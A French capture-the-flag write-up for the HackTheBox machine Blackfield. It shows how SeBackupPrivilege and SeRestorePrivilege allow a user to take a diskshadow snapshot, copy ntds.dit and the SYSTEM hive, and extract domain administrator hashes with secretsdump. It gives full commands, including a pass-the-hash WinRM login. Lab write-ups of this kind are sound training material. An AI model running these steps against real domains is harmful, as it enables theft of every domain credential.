Exploitation des privilèges SeBackupPrivilege et SeRestorePrivilege

Au cours de cet article nous allons voir comment il est possible d'abuser des privilèges SeBackupPrivilege et SeRestorePrivilege. Disclaimer, pour les besoins de cet article je vais montrer comment rooter la box Blackfield proposée sur HackTheBox. Si vous ne voulez pas être spoilé je vous invite à ne pas lire ce qui suit :) !


Contexte: après avoir obtenu le hash NTLM de l’utilisateur svc_backup nous nous connectons au DC via la WinRM:

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

En listant les privilèges de cet utilisateur on se rend compte que ce dernier dispose de deux privilèges intéressants SeBackupPrivilege et SeRestorePrivilege:

Ces deux privilèges permettent respectivement de faire une backup du file system et de modifier le contenu d'un fichier. Ce qui est intéressant ici c'est que si nous disposons de ces privilèges alors nous pouvons tout à fait nous rendre dans le répertoire C:\Users\Administrator et ce même si nous ne somme pas administrateur du domaine:

Nous pouvons donc récupérer directement le flag root:

... ou pas! Initialement je ne comprenais pas pourquoi je n'avais pas les droits d'accéder à ce fichier jusqu'à ce que je tombe sur un article du MSDN qui traite de l'EFS. EFS, pour Encryptin File System, est technologie permettant de chiffrer un fichier ou une partie d'un file system sous Windows. On peut considérer EFS comme étant la version Windows de LUKS. Lorsqu'un fichier est chiffré via EFS il devient impossible de le manipuler si ce dernier  n'a pas été déchiffré au préalable.

Pour s'assurer que ce fichier a bien été chiffré via EFS on peut utiliser le binaire cipher qui va lister l'ensemble des fichiers chiffrés sur le file system:

cipher /u /n /h

Et effectivement on voit bien que le fichier root.txt fait partie de la liste des fichiers chiffrés:

A ce stade le seul moyen d'obtenir le contenu du fichier root.txt est d'élever nos privilèges de manière à nous connecter en tant qu'administrateur du domaine. La première solution à laquelle j'ai pensé était de dumper la base SAM et la déchiffrer en remote. Malheureusement cela n'a pas fonctionné puisque le mot de passe de l'administrateur local avait été réinitialisé.

Il ne me restait donc plus qu'à dumper la base NTDS.dit. Cela dit ce n'est pas si simple. En effet la base NTDS.dit est utilisée en live, faire un simple copier coller n'est du coup pas possible. En revanche il existe plusieurs méthodes et outils permettant de faire une copie de la base NTDS: dont le binaire diskshadow.

En épluchant la doc du MSDN on apprend que:

Diskshadow.exe est un outil qui expose les fonctionnalités offertes par le service de cliché instantané des volumes (VSS). Par défaut, DiskShadow utilise un interpréteur de commandes interactif semblable à celui de DiskRAID ou diskpart. DiskShadow comprend également un mode scriptable.

Génial c'est tout à fait ce dont nous avons besoin.

La documentation MSDN indique bien qu'il faut obligatoirement disposer des privilèges d'administrateur du domaine pour pouvoir faire un instantané. Ce qu'elle ne précise pas c'est que cette action est aussi possible si nous disposons des privilèges SeBackupPrivilege et SeRestorePrivilege :) !

Pour pouvoir créer notre cliché instantané nous allons avant tout devoir créer un fichier que l'on nommera unix_commandes.txt et dont le contenu sera le suivant:

set context persistent nowriters
add volume c: alias temp
create
expose %temp% h:
exit

Ce fichier indique que nous allons cloner le volume c: et l'exposer en tant que volume h:.

Ensuite nous allons l'uploader via notre accès WinRM mais avant cela nous allons devoir modifier son format. En effet nous venons de créer un fichier texte sous Linux. Or sous Linux, le caractère de fin de ligne est "\n". Sous Windows c'est "\r\n". Si nous ne modifions pas notre fichier texte, les commandes entrées ne pourront pas être exécutées.

Ça peut paraître triviale mais j'ai perdu pas mal de temps parce que j'avais tout simplement ignoré cette étape donc je préfère la mentionner ici au cas ou :P !

Du coup pour convertir notre fichier du format Linux to DOS on utilisera cette commande:

sed 's/$'"/`echo \\\r`/" unix_commandes.txt > commandes.txt

Ensuite on pourra upload nos commandes!:

Puis exécuter diskshadow:

diskshadow /s commandes.txt

Comme on peut le voir volume shadow a bien été créé et est exposé sur le disque h: que l'on pourra parcourir en tapant simplement:

h:

On notera que ce disque est une exacte copie du disque C:

De là nous allons devoir récupérer depuis ce répo https://github.com/giuliano108/SeBackupPrivilege les deux fichiers suivants:

  • SeBackupPrivilegeCmdLets.dll
  • SeBackupPrivilegeUtils.dll

Pour comprendre à quoi ils nous servir il faut avant tout bien assimiler que les privilèges SeBackupPrivilege et SeRestorePrivilege ne nous permettent pas de "simplement" copier coller un fichier. On ne pourra pas obtenir le flag root.txt en faisant juste un:

cp C:\Users\Administrator\Desktop\root.txt c:\Users\svc_backup\root.txt

En effet pour que les privilèges SeBackupPrivilege et SeRestorePrivilege s'appliquent il faut que l'obtention du fichier simule une opération de backup. Pour cela il faut que le binaire que l'on utilise pour copier le fichier ouvre un handle sur ce fichier via la fonction CreateFile en spécifiant le flag FILE_FLAG_BACKUP_SEMANTICS.

Les deux fichiers mentionnés précédemment vont justement nous permettre de faire cela. Nous n'aurons donc qu'à les upload:

upload SeBackupPrivilegeUtils.dll
upload SeBackupPrivilegeCmdLets.dll

A les importer:

import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeUtils.dll

Puis copier le base NTDS ainsi que la clé de registre SYSTEM de la partition H: sur le disque C: dans un répertoire que nous contrôlons:

Copy-FileSeBackupPrivilege H:\windows\ntds\ntds.dit C:\windows\temp\NTDS
Copy-FileSeBackupPrivilege H:\windows\system32\config\SYSTEM C:\windows\temp\SYSTEM

On télécharge le tout:

download NTDS.dit
download SYSTEM

Puis on déchiffre la base NTDS via le script python secretsdump.py d'Impacket:

secretsdump.py -ntds NTDS -system SYSTEM LOCAL

Et on obtient ainsi le hash de l'administrateur du domaine ce qui nous permet d'obtenir le flag root.txt.